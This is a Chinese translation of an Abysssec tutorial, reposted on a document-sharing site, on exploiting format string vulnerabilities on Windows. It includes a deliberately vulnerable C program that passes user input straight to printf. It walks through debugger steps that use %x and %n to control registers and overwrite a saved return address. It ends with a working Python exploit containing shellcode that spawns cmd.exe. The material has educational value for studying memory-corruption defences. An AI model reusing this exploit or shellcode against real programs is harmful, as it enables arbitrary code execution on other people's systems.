您好,欢迎访问三七文档
当前位置:首页 > 行业资料 > 冶金工业 > windows平台下的格式化字符串漏洞利用技术
windows平台下的格式化字符串漏洞利用技术作者:Abysssec.com本文真正的受益者应该是那些有定汇编语言基础,以及具备经典的栈溢出知识的人,这样本文才能引领读者在windows平台下编写出自己的格式化字符串漏洞利用程序。本文主要讲述各种关键的利用技术,也许在本文发布前已经有不少人写了关于格式化字符串漏洞的文章,但他们的文章一般都相对枯燥和基础。但我们也不敢说本文讲述得相当出色和全面,不过我们会尽量使其达到这种程度。格式化字符串这类软件漏洞最初是在1999年左右发现的,但在2000年之前一直被认为是没有危害和利用价值的。格式化字符串攻击可使程序崩溃或者执行恶意代码。这个问题源于对用户输入内容未进行过滤导致的,这些输入数据都是作为某些C函数执行格式化操作时的参数,如printf()。恶意用户可以使用%s和%x等格式符,从堆栈或其它可能内存位置来输出数据。也可以使用格式符%n向任意地址写入任意数据,配合printf()函数和其它类似功能的函数就可以向存储在栈上的地址写入被格式化的字节数。一个经典的exploit是混合这些技术,然后用恶意shellcode的地址来覆盖某一链接库函数地址或者栈上的返回地址。其中填充的一些格式化参数主要是用于控制输出的字节数,而%x主要用于从栈中弹出字节直至格式化字符串自身的起始位置。伪造的格式化字符串起始部分应该用欲执行的恶意代码地址来覆写,这个可以借助%n格式符来实现。因此你现在需要理解受此类漏洞影响的PERL和C/C++软件,除printf()函数之外,其它函数也可能受到格式化字符串漏洞的影响,比如:●Printf()●Snprintf()●Vprintf()●Syslog()●……格式化字符串漏洞除了可以执行恶意代码外,还可以从漏洞程序中读取某些数据,比如密码及其它重要信息。下面我们写份C代码进行分析,以帮助大家理解消化。#includestdio.h#includestring.hintmain(intargc,char*argv[]){intx,y,z;x=10;y=20;z=y-x;print(“theresultis:%d”,z);//%dusingcorrectformatsocodeissecure}#includestdio.h#includestring.hvoidparser(char*string){charbuff[256];memset(buff,0,sizeof(buff));strncpy(buff,string,sizeof(buff)-1);printf(buff);//hereisformatstringvulnerability}intmain(intargc,char*argv[]){parser(argv[1]);return0;}正如你在parser函数中看到的,程序员忘记使用%s来输出buf,以致攻击者可以使用它控制程序的执行流程,进而执行恶意shellcode。现在的问题是我们该如何来控制程序的执行流程?现在我们运行漏洞程序,然后在入口处注入一些格式化参数,运行后输入一些正常的参数,如图1所示:图1现在我们使用格式化参数,结果如图2所示:图2如上所示输出内容已被更改了,这个问题主要是printf()(格式化函数)未使用%s参数,以致%x被作为正常的格式化参数而直接读取了栈中的后4个值。不要忘记了,格式化函数中还有一个指向当前格式化参数的指针。因此我们可以利用它从指定的内存地址中读取数据,这个可以用字符串地址或者shellcode地址来替换。比如像图3中的情况:图3现在另一个问题是我们该如何向内存中写入数据?为了向特定的内存地址中写入数据,我们应该使用%n格式符来利用漏洞。下面我使用以下格式化参数来执行程序,如图4所示:图4如上所示,我们可以读取内存及其它一些可用信息。为了定位字符串的起始地址,我们可以使用5个%x和%n来实现,如图5所示:图5程序崩溃了……我们调试一下此次崩溃,这里我用ImmunityDebugger,你也可以使用WinDBG/VSDebugger/OD等……图6如图6所示,这里是指令movdwordptr…这意味着现在将从ecx复制数据到eax指向的地址中。如果读者熟悉经典的堆/栈溢出,应该会知道这样一种方法:如果攻击者能够控制ecx和eax,就可以向其写入4字节数据,以使其跳转到恶意代码。你可以使用一连串的A字符来查找字符串,如图7所示:图7正如上面看到的输出了一个25,如果你使用一个%n来代替%x,那么从调试器可以看到如图8所示的情况:图8因此如果我们再填充更多的字符下去就可以完全控制eax了,比如像图9所示的情况:图9结果如图10所示:图10现在我们已经完全控制eax了,另外现在ecx为值0x34(译注:原文是写32,可能是作者笔误),我们看是否也可以控制该寄存器!因此我们再添加10字节到字符串中以控制eax,如图11所示:图11结果现在我的系统上ecx值为3E,如图12所示:图12我们实际添加的字符数可以通过这样来计算:0x3E-0x34=0xA,而0xA=10,因此我们可以通过更改字符数来控制ECX。实际上我需要控制两个包括mov指令的寄存器,这样才能向特定的地址中写入4字节数据。为了利用此漏洞程序,我们需要覆盖保存在栈上的返回地址,使其指向我们的恶意代码。为此我们需要先知道返回地址的位置。现在我们使用一串长字符串作为漏洞程序的参数来运行它,以方便找到内存中我们构造的字符串。如图13所示:图13接着在数据窗口中跟随ESP寄存器以查找A字符串,如图14所示:图14在十六进制数据窗口中向下查看可发现a字符起始于0012FE74,如图15所示:图15现在我们已经知道了字符串的起始地址,接下来我们还需要利用返回地址来改变程序的执行流程。在ImmunityDebugger中,你可以使用alt+k来查看所有的调用栈情况,如果你是使用OD的话,可以在命令行下输入cs命令查看调用栈。执行以上操作后弹出如图16所示的窗口:图16在0012FE4C上可以找到一个有效的返回地址,你可在栈窗口上进行搜索以确定它是否可用,如图17所示:图17现在我们需要的两个地址都已经拥有了,接下来我就是漏洞利用了,但我们该如何构造出最终的字符串呢?EAX寄存器必须包括字符串前4字节的地址,并用它来定位返回地址,正如前面所说的0012FE4C。为便于理解,我们将尝试向ECX写入一个比较大的数值,比如构造如图18所示的字符串:图18注意:这可能会使你的系统变慢,甚至崩溃。程序会输出如图19所示的数据,接着程序崩溃:图19现在ECX指向0013628,如图20所示:图20现在ECX已经指向比较大的数值,但它依然还不足以指向我们的代码,因此我们还需要构造更大字符串,如图21所示:图21输出结果如图22所示:图22现在ECX指向00620CB,如图23所示:图23距离我们的目标依然还是不够,现在我们使用计算器来计算ECX的结尾地址(你可能还记得0012FE4C这个地址),将0x0012FE4C转换成十进制数后得到124478,然后乘以4(因为共有4部分)得到结果311187,如图24所示:图24因此我们可以这样做,如图25所示:输出结果如图26所示:图26现在ECX指向0012FE60,距离成功又更进一步了。这个值确实足够大了,在经典的栈溢出利用中常利用返回地址来改变程序的执行流程,如果我们使用这一包括null字节的地址来覆盖的话,就可能将字符串截断,那么我是不是就不能使用这一返回地址了呢?逻辑上我并不能在字符串的起始处使用它,但在末尾却是可以的。因为IA-32是小端法体系结构,存储在内存中的数据均会被反序,比如ABYS会以SYBA的形式存储,因此NULL字节放在末尾是没有影响的!现在我们更改格式化参数的数量,同时指向返回地址的指针必须指向构造的字符串的结尾。为此,我们可以使用35字节的shellcode来执行cmd.exe。现在使用35个C来代替shellcode重新构造字符串,如图27所示:图2735C+格式化参数+311187(move)+%n(write)+BBBB,其中4字节B字符就是我们的返回地址。但当按下回车键之后,笔者发现调试器里的EAX并不再受控制了,如图28所示:图28现在我们需要更改一下格式化参数的个数,主要就是字符串结尾的4字节,如图29所示:图29Shellcode占用35字节,因此我们使用5个B。如果是4个的话,将会被n的十六进制值或null字节覆写掉。结果如图30所示:图30可以发现ECX并没有指向我们的代码,因此我们再用计算器算一下参数个数:12FF58-12FE74=E4==228,因此311187–228==310959,因此我们应该使用310959,但在本例中我们却是应该使用311130,至于其中源由留给读者自行思考…最后让ECX指向CCCCC地址即可。测试结果如图31所示:图31接下来我们用python编写exploit,读者也可使用其它语言,这并没有多大关系。#!usr/bin/envpython#AbyssecIncTutorialPublication#MailTo:Admin@abysssec.comimportosimportsysimportwin32apiimporttimeshellcode=(\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x4d\x11\x86\x7c\xFF\xD0\xCC\x90)time.sleep(3)buff=shellcodebuff+=(%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%)buff+=(.311130x%.311130x%.311130x%.311130x%n)buff+=(\x4C\xFE\x12)#youcanusestruct.packwin32api.WinExec(('fstring.exe%s')%buff,1)运行exploit后得到一个shell,如图32所示:图32在本exploit中有以下几点需要注意的:1、为了运行此exploit,你需要为python下载win32api模块;2、笔者的操作系统为双核CPU下的windowsxpsp2;3、在WinExec函数末尾并不能使用NULL字节,我们必须移除返回地址中的null字节;4、返回地址是调用栈和re2lib的反序字节;5、文中的shellcode是占35字节,35是奇数,为了实现字节对齐,笔者在shellcode末尾加了个NOP指令,它并没有实际操作意义(0x90),并不会执行任何操作,而只是告诉处理器执行到下一字节而已;6、也许文中某一部分讲得并不是那么清楚,但我相信通过读者自身的实践操作都能够解决问题的;7、本例中并没有遇到任何保护机制,在大多的第三方软件中却是常有的,但绕过这些保护并没有那么难,只需返回到win32API等函数地址即可。
本文标题:windows平台下的格式化字符串漏洞利用技术
链接地址:https://www.777doc.com/doc-4210152 .html